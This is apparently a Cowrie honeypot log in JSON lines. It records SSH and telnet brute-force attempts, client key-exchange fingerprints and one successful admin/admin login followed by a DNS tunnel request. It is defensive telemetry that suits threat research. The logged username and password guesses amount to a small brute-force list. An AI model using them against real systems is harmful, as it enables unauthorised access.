{"eventid":"cowrie.login.failed","username":"admin","password":"54321","message":"login attempt [admin/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:07.110179Z","src_ip":"45.120.216.232","session":"58d5b04cdb19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.89097619056702,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:07.826520Z","src_ip":"149.56.37.12","session":"4a887817a270","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:08.347649Z","src_ip":"45.120.216.232","session":"58d5b04cdb19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.01296591758728,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:09.152663Z","src_ip":"103.120.153.37","session":"c64ffdf5606c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44842,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9b69aeeeca9","protocol":"ssh","message":"New connection: 159.203.92.129:44842 (159.203.135.109:22) [session: e9b69aeeeca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:10.130340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:10.135759Z","src_ip":"159.203.92.129","session":"e9b69aeeeca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:10.144544Z","src_ip":"159.203.92.129","session":"e9b69aeeeca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"Abc123","message":"login attempt [admin1/Abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:10.157487Z","src_ip":"159.203.92.129","session":"e9b69aeeeca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.06989407539368,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:10.901444Z","src_ip":"149.56.37.12","session":"b7fc4998f2e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:11.164477Z","src_ip":"159.203.92.129","session":"e9b69aeeeca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.75272011756897,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:22.065134Z","src_ip":"149.56.37.12","session":"f82f7f533d02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.85680842399597,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:23.156480Z","src_ip":"149.56.37.12","session":"8f0e8bb76713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":40612,"dst_ip":"159.203.135.109","dst_port":23,"session":"51069ed717cc","protocol":"telnet","message":"New connection: 149.56.37.12:40612 (159.203.135.109:23) [session: 51069ed717cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:28.397831Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":42320,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e7b14f49a77","protocol":"telnet","message":"New connection: 149.56.37.12:42320 (159.203.135.109:23) [session: 3e7b14f49a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:29.312021Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":40704,"dst_ip":"159.203.135.109","dst_port":23,"session":"55cdf59f0a07","protocol":"telnet","message":"New connection: 149.56.37.12:40704 (159.203.135.109:23) [session: 55cdf59f0a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:29.458267Z"}
{"eventid":"cowrie.session.closed","duration":38.52509546279907,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:31.023823Z","src_ip":"149.56.37.12","session":"73f70fbed52f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":48752,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c707889e5f8","protocol":"telnet","message":"New connection: 149.56.37.12:48752 (159.203.135.109:23) [session: 9c707889e5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:33.302945Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":53822,"dst_ip":"159.203.135.109","dst_port":23,"session":"5014f6ad0a4a","protocol":"telnet","message":"New connection: 149.56.37.12:53822 (159.203.135.109:23) [session: 5014f6ad0a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:36.000079Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":60828,"dst_ip":"159.203.135.109","dst_port":23,"session":"156e946ee780","protocol":"telnet","message":"New connection: 149.56.37.12:60828 (159.203.135.109:23) [session: 156e946ee780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:40.108368Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":34660,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe9c4dd46064","protocol":"telnet","message":"New connection: 149.56.37.12:34660 (159.203.135.109:23) [session: fe9c4dd46064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:41.413177Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":36368,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1f98cbf4f0c","protocol":"telnet","message":"New connection: 149.56.37.12:36368 (159.203.135.109:23) [session: f1f98cbf4f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:42.623750Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":36572,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcf6cabcc720","protocol":"telnet","message":"New connection: 149.56.37.12:36572 (159.203.135.109:23) [session: bcf6cabcc720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:42.753349Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":38368,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9a89218966f","protocol":"telnet","message":"New connection: 149.56.37.12:38368 (159.203.135.109:23) [session: e9a89218966f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:43.739123Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":39678,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a78a260a38c","protocol":"telnet","message":"New connection: 149.56.37.12:39678 (159.203.135.109:23) [session: 5a78a260a38c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:44.535073Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":51628,"dst_ip":"159.203.135.109","dst_port":23,"session":"85c333207909","protocol":"telnet","message":"New connection: 149.56.37.12:51628 (159.203.135.109:23) [session: 85c333207909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:51.864288Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60464,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3b6bc96dbeb","protocol":"ssh","message":"New connection: 159.203.92.129:60464 (159.203.135.109:22) [session: b3b6bc96dbeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:52.558383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:52.565842Z","src_ip":"159.203.92.129","session":"b3b6bc96dbeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:52.570314Z","src_ip":"159.203.92.129","session":"b3b6bc96dbeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"Abc@123","message":"login attempt [admin1/Abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:52.582611Z","src_ip":"159.203.92.129","session":"b3b6bc96dbeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:53.589469Z","src_ip":"159.203.92.129","session":"b3b6bc96dbeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":56202,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cb2c0417ff3","protocol":"telnet","message":"New connection: 149.56.37.12:56202 (159.203.135.109:23) [session: 6cb2c0417ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:54.909340Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":33566,"dst_ip":"159.203.135.109","dst_port":23,"session":"020af5ce2884","protocol":"telnet","message":"New connection: 149.56.37.12:33566 (159.203.135.109:23) [session: 020af5ce2884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:06:58.711669Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":42344,"dst_ip":"10.17.0.5","dst_port":22,"session":"290a05a88384","protocol":"ssh","message":"New connection: 87.251.64.176:42344 (10.17.0.5:22) [session: 290a05a88384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:00.588033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:00.592829Z","src_ip":"87.251.64.176","session":"290a05a88384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:00.689824Z","src_ip":"87.251.64.176","session":"290a05a88384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":37354,"dst_ip":"159.203.135.109","dst_port":23,"session":"396bcf6a2aa9","protocol":"telnet","message":"New connection: 149.56.37.12:37354 (159.203.135.109:23) [session: 396bcf6a2aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:00.768693Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:00.982456Z","src_ip":"87.251.64.176","session":"290a05a88384","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:01.081989Z","session":"290a05a88384","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:01.179888Z","src_ip":"87.251.64.176","session":"290a05a88384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:01.279995Z","src_ip":"87.251.64.176","session":"290a05a88384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.427674770355225,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:01.825318Z","src_ip":"149.56.37.12","session":"51069ed717cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":41512,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6f4016c69cb","protocol":"telnet","message":"New connection: 149.56.37.12:41512 (159.203.135.109:23) [session: b6f4016c69cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:03.216921Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":41690,"dst_ip":"159.203.135.109","dst_port":23,"session":"051fd55651c1","protocol":"telnet","message":"New connection: 149.56.37.12:41690 (159.203.135.109:23) [session: 051fd55651c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:03.322305Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":59878,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd872545311d","protocol":"ssh","message":"New connection: 45.120.216.232:59878 (159.203.135.109:22) [session: cd872545311d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:03.823704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:03.828757Z","src_ip":"45.120.216.232","session":"cd872545311d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:04.033251Z","src_ip":"45.120.216.232","session":"cd872545311d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":43488,"dst_ip":"159.203.135.109","dst_port":23,"session":"62cde25672c3","protocol":"telnet","message":"New connection: 149.56.37.12:43488 (159.203.135.109:23) [session: 62cde25672c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:04.538865Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!@#","message":"login attempt [admin/!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:04.885016Z","src_ip":"45.120.216.232","session":"cd872545311d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.76038885116577,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:05.072301Z","src_ip":"149.56.37.12","session":"3e7b14f49a77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.006990909576416,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:05.465182Z","src_ip":"149.56.37.12","session":"55cdf59f0a07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:06.094150Z","src_ip":"45.120.216.232","session":"cd872545311d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":52292,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f897853e500","protocol":"telnet","message":"New connection: 149.56.37.12:52292 (159.203.135.109:23) [session: 3f897853e500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:10.047935Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":52868,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ea98da72832","protocol":"telnet","message":"New connection: 149.56.37.12:52868 (159.203.135.109:23) [session: 8ea98da72832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:10.482250Z"}
{"eventid":"cowrie.session.closed","duration":37.85250496864319,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:11.155306Z","src_ip":"149.56.37.12","session":"9c707889e5f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":54168,"dst_ip":"159.203.135.109","dst_port":23,"session":"93b922bae6d7","protocol":"telnet","message":"New connection: 149.56.37.12:54168 (159.203.135.109:23) [session: 93b922bae6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:11.413980Z"}
{"eventid":"cowrie.session.closed","duration":37.08220434188843,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:13.082154Z","src_ip":"149.56.37.12","session":"5014f6ad0a4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54750037193298,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:07:15.655729Z","src_ip":"149.56.37.12","session":"156e946ee780","protocol":"telnet"}
